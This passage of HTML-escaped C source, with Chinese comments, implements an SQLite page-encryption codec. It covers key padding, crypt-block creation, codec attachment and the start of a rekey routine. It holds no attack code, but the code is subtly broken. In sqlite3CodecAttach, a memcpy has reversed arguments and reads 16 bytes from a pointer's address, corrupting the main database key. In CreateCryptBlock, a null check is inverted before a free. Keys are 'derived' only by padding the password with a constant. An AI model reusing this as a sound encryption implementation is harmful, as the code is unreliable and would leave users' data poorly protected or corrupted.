class=\"literal\"\u003eNULL\u003c/span\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehKey[ DB_KEY_LENGTH_BYTE ] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( nKeyLen \u0026lt; DB_KEY_LENGTH_BYTE )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e( hKey, pKey, nKeyLen ); \u003cspan class=\"comment\"\u003e//先拷贝得到密钥前面的部分\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     j = DB_KEY_LENGTH_BYTE - nKeyLen;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e//补充密钥后面的部分\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(  hKey + nKeyLen,  DB_KEY_PADDING, j  );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{ \u003cspan class=\"comment\"\u003e//密钥位数已经足够,直接把密钥取过来\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(  hKey, pKey, DB_KEY_LENGTH_BYTE );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//创建或更新一个页的加密算法索引.此函数会申请缓冲区.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e LPCryptBlock \u003cspan class=\"title function_\"\u003eCreateCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* hKey, Pager *pager, LPCryptBlock pExisting)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eLPCryptBlock pBlock;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pExisting) \u003cspan class=\"comment\"\u003e//创建新加密块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock = sqliteMalloc(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(CryptBlock));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(pBlock, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(CryptBlock));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;ReadKey = hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;WriteKey = hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;PageSize = pager-\u0026gt;pageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;Data = (\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*)sqliteMalloc(pBlock-\u0026gt;PageSize + CRYPT_OFFSET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e//更新存在的加密块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock = pExisting;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ( pBlock-\u0026gt;PageSize != pager-\u0026gt;pageSize \u0026amp;\u0026amp; !pBlock-\u0026gt;Data){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          sqliteFree(pBlock-\u0026gt;Data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          pBlock-\u0026gt;PageSize = pager-\u0026gt;pageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          pBlock-\u0026gt;Data = (\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*)sqliteMalloc(pBlock-\u0026gt;PageSize + CRYPT_OFFSET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(pBlock-\u0026gt;Data, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, pBlock-\u0026gt;PageSize + CRYPT_OFFSET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pBlock;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e** Set the codec for this pager\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_set_codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             Pager *pPager,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *(*xCodec)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,Pgno,\u003cspan class=\"type\"\u003eint\u003c/span\u003e),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pCodecArg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epPager-\u0026gt;xCodec = xCodec;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epPager-\u0026gt;pCodecArg = pCodecArg;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_key\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sqlite3_key_interop(db, pKey, nKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_rekey\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sqlite3_rekey_interop(db, pKey, nKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*被sqlite 和 sqlite3_key_interop 调用, 附加密钥到数据库.*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3CodecAttach\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nDb, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = SQLITE_ERROR;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* hKey = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//如果没有指定密匙,可能标识用了主数据库的加密或没加密.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pKey || !nKeyLen)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!nDb)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK; \u003cspan class=\"comment\"\u003e//主数据库, 没有指定密钥所以没有加密.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e//附加数据库,使用主数据库的密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"comment\"\u003e//获取主数据库的加密块并复制密钥给附加数据库使用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            LPCryptBlock pBlock = (LPCryptBlock)sqlite3pager_get_codecarg(sqlite3BtreePager(db-\u0026gt;aDb[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].pBt));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK; \u003cspan class=\"comment\"\u003e//主数据库没有加密\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK; \u003cspan class=\"comment\"\u003e//没有加密\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(pBlock-\u0026gt;ReadKey, \u0026amp;hKey, \u003cspan class=\"number\"\u003e16\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e//用户提供了密码,从中创建密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        hKey = DeriveKey(pKey, nKeyLen);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//创建一个新的加密块,并将解码器指向新的附加数据库.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (hKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        LPCryptBlock pBlock = CreateCryptBlock(hKey, sqlite3BtreePager(db-\u0026gt;aDb[nDb].pBt), \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        sqlite3pager_set_codec(sqlite3BtreePager(db-\u0026gt;aDb[nDb].pBt), sqlite3Codec, pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        rc = SQLITE_OK;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e rc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Changes the encryption key for an existing database.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_rekey_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBtree *pbt = db-\u0026gt;aDb[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].pBt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePager *p = sqlite3BtreePager(pbt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eLPCryptBlock pBlock = (LPCryptBlock)sqlite3pager_get_codecarg(p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * hKey = DeriveKey(pKey, nKeySize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = SQLITE_ERROR;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock \u0026amp;\u0026amp; !hKey) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//重新加密一个数据库,改变pager的写密钥, 读密钥依旧保留.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock) \u003cspan class=\"comment\"\u003e//加密一个未加密的数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock = CreateCryptBlock(hKey, p, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;ReadKey = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 原始数据库未加密\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqlite3pager_set_codec(sqlite3BtreePager(pbt), sqlite3Codec, pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 改变已加密数据库的写密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;WriteKey = hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 开始一个事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erc = sqlite3BtreeBeginTrans(pbt, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e// 